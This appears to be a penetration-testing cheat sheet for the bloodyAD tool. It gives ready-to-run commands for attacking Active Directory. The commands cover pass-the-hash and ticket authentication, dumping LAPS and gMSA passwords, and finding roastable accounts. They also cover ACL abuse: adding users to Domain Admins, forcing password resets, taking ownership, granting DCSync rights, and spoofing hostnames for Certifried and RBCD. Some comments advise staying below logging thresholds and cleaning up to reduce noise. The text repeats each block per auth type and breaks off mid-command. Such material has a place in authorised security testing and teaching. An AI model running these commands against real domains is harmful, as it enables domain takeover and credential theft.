pip install bloodyAD or clone from CravateRouge/bloodyAD.
Authentication
bloodyAD supports multiple credential types on the same base command. Every command follows the patternbloodyAD [auth flags] -d DOMAIN --host DC [subcommand].
# Cleartext password
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST [cmd]
# Pass-the-Hash (LMHASH:NTHASH format; use 0 for empty LM hash)
bloodyAD -u $USER -p "00000000000000000000000000000000:$HASH" \
-d $DOMAIN --host $DC_HOST [cmd]
# Pass-the-Ticket via ccache file
bloodyAD -k ccache=/tmp/admin.ccache -d $DOMAIN --host $DC_HOST [cmd]
# Certificate-based auth (key and cert from Certipy/pywhisker output)
bloodyAD -c /tmp/priv.key:/tmp/cert.pem -d $DOMAIN --host $DC_HOST [cmd]
# Certificate-only auth (no private key; for Schannel/PKINIT-unavailable scenarios)
bloodyAD -c ":$USER.pem" -u $USER -d $DOMAIN --host $DC_HOST [cmd]
# Force LDAPS (port 636); required when targeting read-only DCs or strict configs
bloodyAD -s -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST [cmd]
# Point to DC by IP when DNS does not resolve the hostname
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST -i $DC_IP [cmd]
Enumeration
Theget and msldap subcommands cover the most useful recon paths. Start with get writable to immediately see what your current user can modify, then use get object to inspect specific targets.
Writable Objects
get writable is the first command to run after gaining a foothold. It shows every AD object your current user has write access to, which directly maps to abuse paths.
- Password
- NT Hash
- Kerberos
# Find everything the current user can write to
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable
# Scope to a specific object type
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype USER
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype COMPUTER
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype GROUP
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype OU
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype DOMAIN
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype GPO
# Filter by right type
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --right WRITE # write access
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --right CHILD # create/delete children
# Show attribute-level detail: which specific attributes are writable per object
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --otype USER --detail
# Export writable objects as a BloodHound-compatible zip
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --bh
# Exclude deleted/tombstoned objects from results (included by default)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get writable --exclude-del
# Find everything the current user can write to
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable
# Scope to a specific object type
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype USER
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype COMPUTER
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype GROUP
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype OU
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype DOMAIN
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype GPO
# Filter by right type
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --right WRITE # write access
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --right CHILD # create/delete children
# Show attribute-level detail: which specific attributes are writable per object
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --otype USER --detail
# Export writable objects as a BloodHound-compatible zip
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --bh
# Exclude deleted/tombstoned objects from results (included by default)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get writable --exclude-del
# Find everything the current user can write to
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable
# Scope to a specific object type
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype USER
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype COMPUTER
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype GROUP
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype OU
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype DOMAIN
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype GPO
# Filter by right type
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --right WRITE # write access
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --right CHILD # create/delete children
# Show attribute-level detail: which specific attributes are writable per object
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --otype USER --detail
# Export writable objects as a BloodHound-compatible zip
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --bh
# Exclude deleted/tombstoned objects from results (included by default)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get writable --exclude-del
Object Attributes
get object reads LDAP attributes of any single AD object. Use it to inspect userAccountControl flags, retrieve LAPS passwords, gMSA secrets, or group membership before attempting abuse.
- Password
- NT Hash
- Kerberos
# Read all attributes of a user
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get object svc_backup
# Check machine account quota before RBCD or Certifried attacks
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Read userAccountControl to check account flags (disabled, no-preauth, etc.)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
# Read all members of a group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object "Domain Admins" --attr member
# Retrieve LAPS plaintext password (requires read access to ms-Mcs-AdmPwd)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object DC01$ --attr ms-Mcs-AdmPwd
# Retrieve gMSA managed password blob (requires membership in PrincipalsAllowedToRetrieveManagedPassword)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get object 'gmsa_svc$' --attr msDS-ManagedPassword
# Read all attributes of a user
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get object svc_backup
# Check machine account quota before RBCD or Certifried attacks
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Read userAccountControl to check account flags (disabled, no-preauth, etc.)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
# Read all members of a group
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object "Domain Admins" --attr member
# Retrieve LAPS plaintext password (requires read access to ms-Mcs-AdmPwd)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object DC01$ --attr ms-Mcs-AdmPwd
# Retrieve gMSA managed password blob (requires membership in PrincipalsAllowedToRetrieveManagedPassword)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get object 'gmsa_svc$' --attr msDS-ManagedPassword
# Read all attributes of a user
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get object svc_backup
# Check machine account quota before RBCD or Certifried attacks
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object "DC=$DOMAIN,DC=local" --attr ms-DS-MachineAccountQuota
# Read userAccountControl to check account flags (disabled, no-preauth, etc.)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object $TARGET --attr userAccountControl
# Read all members of a group
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object "Domain Admins" --attr member
# Retrieve LAPS plaintext password (requires read access to ms-Mcs-AdmPwd)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object DC01$ --attr ms-Mcs-AdmPwd
# Retrieve gMSA managed password blob (requires membership in PrincipalsAllowedToRetrieveManagedPassword)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get object 'gmsa_svc$' --attr msDS-ManagedPassword
Membership and Hierarchy
These commands help map group relationships and OU structure without needing BloodHound ingested.- Password
- NT Hash
- Kerberos
# All groups a user belongs to (recursive by default)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get membership $TARGET
# List all objects under an OU
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local"
# Scope children to a specific object type
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local" --otype COMPUTER
# All groups a user belongs to (recursive by default)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get membership $TARGET
# List all objects under an OU
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local"
# Scope children to a specific object type
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local" --otype COMPUTER
# All groups a user belongs to (recursive by default)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get membership $TARGET
# List all objects under an OU
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local"
# Scope children to a specific object type
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get children "OU=Servers,DC=$DOMAIN,DC=local" --otype COMPUTER
Raw LDAP Search
get search issues a raw LDAP query. Use it when no built-in subcommand covers what you need.
- Password
- NT Hash
- Kerberos
# Find all users with a description set (often contains passwords)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(description=*))' --attr sAMAccountName,description
# Find all enabled user accounts
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
--attr sAMAccountName
# Scope the search base to a specific OU to stay below DC-side logging thresholds
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
get search --base "CN=Users,DC=$DOMAIN,DC=local" \
--filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
--attr sAMAccountName
# Find all users with a description set (often contains passwords)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(description=*))' --attr sAMAccountName,description
# Find all enabled user accounts
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
--attr sAMAccountName
# Scope the search base to a specific OU to stay below DC-side logging thresholds
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
get search --base "CN=Users,DC=$DOMAIN,DC=local" \
--filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
--attr sAMAccountName
# Find all users with a description set (often contains passwords)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(description=*))' --attr sAMAccountName,description
# Find all enabled user accounts
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get search --filter '(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
--attr sAMAccountName
# Scope the search base to a specific OU to stay below DC-side logging thresholds
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
get search --base "CN=Users,DC=$DOMAIN,DC=local" \
--filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
--attr sAMAccountName
DNS Records
get dnsDump is useful for internal network mapping; it returns all DNS zone records the current user can read.
- Password
- NT Hash
- Kerberos
# Dump all DNS records from all zones
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get dnsDump
# Scope to a single zone
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get dnsDump --zone $DOMAIN
# Dump all DNS records from all zones
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get dnsDump
# Scope to a single zone
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get dnsDump --zone $DOMAIN
# Dump all DNS records from all zones
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get dnsDump
# Scope to a single zone
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get dnsDump --zone $DOMAIN
Trust Relationships
- Password
- NT Hash
- Kerberos
# Display domain trust tree
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get trusts
# Display domain trust tree
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get trusts
# Display domain trust tree
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get trusts
BloodHound Collection
get bloodhound runs the built-in BloodHound CE collector and writes a zip file for ingestion. Faster than running SharpHound from a Windows host when you already have LDAP creds.
Still in development. Covers core enumeration but not ADCS ESC paths or complex nodes. Supplement with SharpHound for full coverage.
- Password
- NT Hash
- Kerberos
# Collect and write a BloodHound-compatible zip to the current directory
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get bloodhound
# Include transitive trust data (start from a DC in your own domain for best results)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get bloodhound --transitive
# Write to a specific output path
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST get bloodhound --path /tmp/bh.zip
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get bloodhound
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST get bloodhound --transitive
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get bloodhound
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST get bloodhound --transitive
Delegation Recon
Thesemsldap subcommands find delegation misconfigurations that feed into unconstrained, constrained, and RBCD attack chains.
- Password
- NT Hash
- Kerberos
# Find computers/users with unconstrained delegation (TrustedForDelegation flag)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap unconstrained
# Find accounts with constrained delegation (msDS-AllowedToDelegateTo set)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap constrained
# Find accounts that can act as proxy via S4U2Proxy
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap s4u2proxy
# Find computers/users with unconstrained delegation (TrustedForDelegation flag)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap unconstrained
# Find accounts with constrained delegation (msDS-AllowedToDelegateTo set)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap constrained
# Find accounts that can act as proxy via S4U2Proxy
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap s4u2proxy
# Find computers/users with unconstrained delegation (TrustedForDelegation flag)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap unconstrained
# Find accounts with constrained delegation (msDS-AllowedToDelegateTo set)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap constrained
# Find accounts that can act as proxy via S4U2Proxy
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap s4u2proxy
Legacy and Service Accounts
- Password
- NT Hash
- Kerberos
# Pre-Windows 2000 machine accounts; often have predictable passwords (computer name lowercase)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap pre2000
# List gMSA accounts and attempt to retrieve their passwords
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap gmsa
# Find all accounts with SPNs set (Kerberoastable targets)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap spns
# Find accounts with pre-auth disabled (AS-REP roastable targets)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap asrep
# Pre-Windows 2000 machine accounts; often have predictable passwords (computer name lowercase)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap pre2000
# List gMSA accounts and attempt to retrieve their passwords
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap gmsa
# Find all accounts with SPNs set (Kerberoastable targets)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap spns
# Find accounts with pre-auth disabled (AS-REP roastable targets)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap asrep
# Pre-Windows 2000 machine accounts; often have predictable passwords (computer name lowercase)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap pre2000
# List gMSA accounts and attempt to retrieve their passwords
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap gmsa
# Find all accounts with SPNs set (Kerberoastable targets)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap spns
# Find accounts with pre-auth disabled (AS-REP roastable targets)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap asrep
LAPS
- Password
- NT Hash
- Kerberos
# List all LAPS-enabled computers and retrieve passwords if permitted
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap laps
# Find which computers are LAPS targets (without attempting password retrieval)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap lapstarget
# List all LAPS-enabled computers and retrieve passwords if permitted
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap laps
# Find which computers are LAPS targets (without attempting password retrieval)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap lapstarget
# List all LAPS-enabled computers and retrieve passwords if permitted
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap laps
# Find which computers are LAPS targets (without attempting password retrieval)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap lapstarget
BadSuccessor Check
- Password
- NT Hash
- Kerberos
# Check if the domain is vulnerable to the BadSuccessor (dMSA) privilege escalation
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
# Check if the domain is vulnerable to the BadSuccessor (dMSA) privilege escalation
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
# Check if the domain is vulnerable to the BadSuccessor (dMSA) privilege escalation
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST msldap badsuccessor_check
ACL Abuse
ACL abuse flows directly fromget writable output. These add, remove, and set commands let you exploit the rights you discovered in enumeration.
GenericAll / Full Control
Granting yourself GenericAll on an object gives complete control: you can change its password, modify its attributes, or add it to groups. Requires WriteDacl or ownership of the target.- Password
- NT Hash
- Kerberos
# Grant your user GenericAll on a target user
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after abuse to reduce noise
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Grant your user GenericAll on a target user
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after abuse to reduce noise
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Grant your user GenericAll on a target user
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after abuse to reduce noise
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove genericAll $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
Group Membership
Adding yourself to a privileged group (e.g., Domain Admins, Backup Operators) is the fastest path to elevated access when you have GenericAll or WriteProperty on the group.- Password
- NT Hash
- Kerberos
# Add a user to a group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add groupMember "Domain Admins" $TARGET
# Remove after abuse (clean up is important in real engagements)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove groupMember "Domain Admins" $TARGET
# Add a user to a group
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add groupMember "Domain Admins" $TARGET
# Remove after abuse (clean up is important in real engagements)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove groupMember "Domain Admins" $TARGET
# Add a user to a group
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add groupMember "Domain Admins" $TARGET
# Remove after abuse (clean up is important in real engagements)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove groupMember "Domain Admins" $TARGET
Password Reset
Exploits ForceChangePassword or GenericAll rights. No knowledge of the current password is required.- Password
- NT Hash
- Kerberos
# Change target user's password
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set password $TARGET 'NewPassword123!'
# Change a computer account's password (useful after gaining GenericAll on machine account)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set password 'WORKSTATION$' 'NewComputerPass123!'
# Change target user's password
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set password $TARGET 'NewPassword123!'
# Change a computer account's password (useful after gaining GenericAll on machine account)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set password 'WORKSTATION$' 'NewComputerPass123!'
# Change target user's password
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set password $TARGET 'NewPassword123!'
# Change a computer account's password (useful after gaining GenericAll on machine account)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set password 'WORKSTATION$' 'NewComputerPass123!'
Ownership
Taking ownership of an object lets you then grant yourself any rights via WriteDacl. Requires WriteOwner on the target.- Password
- NT Hash
- Kerberos
# Set yourself as owner of a target object
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set owner $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Set yourself as owner of a target object
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set owner $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Set yourself as owner of a target object
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set owner $TARGET "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
DCSync Rights
DCSync requires the Replicating Directory Changes and Replicating Directory Changes All extended rights on the domain root. If you have WriteDacl on the domain object, you can grant yourself these.- Password
- NT Hash
- Kerberos
# Grant DCSync rights to a user
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after dumping NTDS
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
remove dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Grant DCSync rights to a user
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
add dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after dumping NTDS
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
remove dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Grant DCSync rights to a user
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
add dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
# Remove after dumping NTDS
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
remove dcsync "CN=$USER,CN=Users,DC=$DOMAIN,DC=local"
Generic Attribute Write
set object writes any writable LDAP attribute directly. Use it for targeted Kerberoasting by adding an SPN to a user, or to clear attributes after abuse.
- Password
- NT Hash
- Kerberos
# Add an SPN to a user account to make it Kerberoastable (requires GenericWrite or WriteProperty)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v "fake/spn.$DOMAIN"
# Clear the SPN after roasting the hash
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v ''
# Write any attribute by name and value
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object $TARGET description -v 'modified'
# Spoof a computer's DNS hostname to match a DC (Certifried / CVE-2022-26923 prerequisite)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
set object 'ATTACKER$' dNSHostName -v "DC01.$DOMAIN"
# Add an SPN to a user account to make it Kerberoastable (requires GenericWrite or WriteProperty)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v "fake/spn.$DOMAIN"
# Clear the SPN after roasting the hash
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v ''
# Write any attribute by name and value
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object $TARGET description -v 'modified'
# Spoof a computer's DNS hostname to match a DC (Certifried / CVE-2022-26923 prerequisite)
bloodyAD -u $USER -p "00000000000000000000000000000000:$NTHASH" -d $DOMAIN --host $DC_HOST \
set object 'ATTACKER$' dNSHostName -v "DC01.$DOMAIN"
# Add an SPN to a user account to make it Kerberoastable (requires GenericWrite or WriteProperty)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v "fake/spn.$DOMAIN"
# Clear the SPN after roasting the hash
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object $TARGET servicePrincipalName -v ''
# Write any attribute by name and value
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object $TARGET description -v 'modified'
# Spoof a computer's DNS hostname to match a DC (Certifried / CVE-2022-26923 prerequisite)
bloodyAD -k ccache=/tmp/ticket.ccache -d $DOMAIN --host $DC_HOST \
set object 'ATTACKER$' dNSHostName -v "DC01.$DOMAIN"
Delegation Abuse
RBCD abuse requires write access tomsDS-AllowedToActOnBehalfOfOtherIdentity on the target computer. bloodyAD handles the attribute encoding automatically.
- Password
- NT Hash
- Kerberos
# Set RBCD: allow EVIL$ to impersonate any user to TARGET$
# Requires GenericAll, GenericWrite, or WriteProperty on TARGET$
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
add rbcd TARGET$ $COMP_NAME
# Verify the attribute was written correctly
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
